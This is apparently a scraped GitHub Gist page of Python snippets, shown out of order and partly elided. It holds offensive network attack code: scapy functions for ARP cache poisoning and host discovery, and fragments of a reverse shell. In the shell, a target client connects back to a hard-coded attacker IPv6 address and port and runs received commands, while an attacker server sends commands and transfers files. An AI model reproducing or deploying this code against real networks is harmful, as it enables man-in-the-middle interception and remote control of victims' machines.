Skip to content

Instantly share code, notes, and snippets.

View NimishMishra's full-sized avatar

NimishMishra

View GitHub Profile
def poison_arp_tables(gateway_ip, gateway_mac, target_ip, target_mac):
# print("Poisoning.....")
gateway_to_target = ARP(op=2, hwdst= target_mac, psrc= gateway_ip, pdst= target_ip)
target_to_gateway = ARP(op=2, hwdst= gateway_mac, psrc= target_ip, pdst= gateway_ip)
try:
send(gateway_to_target, verbose=0)
send(target_to_gateway, verbose=0)
except Exception as e:
sys.exit()
def get_mac_address(ip_address):
packet = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address)
answered, unanswered = srp(packet, timeout=2, verbose=0)
for sent,received in answered:
return received[ARP].hwsrc
from scapy.all import *
response = ""
def discovery(dst, time):
global response
ethernet_layer = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_layer = ARP(pdst= dst)
ans, unans = srp(ethernet_layer/arp_layer, timeout=int(time))
for sent, received in ans:
response = response + received[ARP].psrc + " "
target_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
.
.
.
attacker_hostname = "2405:204:a38a:708d:4dfd:c0ac:2ba2:3a06"
attacker_port = 12345
import socket
import subprocess
import os
BUFFER_SIZE = 1024
target_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connects with the attacker
def target_client_connector():
# connect to the attacker
import socket
BUFFER_SIZE = 1024
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# lets the attacker server listen on the specified port number
def attacker_server_binder(hostname, port_number):
attacker_server.bind((hostname, port_number))
attacker_server.listen(5)
def file_handler(command):
command_splits = command.split(" ")
if(len(command_splits) > 3):
return "file command has more than two arguments."
elif(command_splits[0] != 'file'):
return "incorrect command"
file_name = command_splits[1]
mode = command_splits[2]
def run_command(command):
command = command.rstrip()
try:
command.index("cd")
navigate_directory(command)
return "Directory changed to: " + str(os.getcwd())
except:
pass
def file_handler(target_client, command):
target_client.send(bytes(command, 'utf-8'))
acknowledgement = target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
pass
data_splits = command.split(' ')
mode = data_splits[2]
if(mode == 'r'):
receive_data(target_client)
def command_handler(target_client):
data = str(input())
try:
data.index('file')
file_handler(target_client, data)
return
except:
pass
send_data(data, target_client)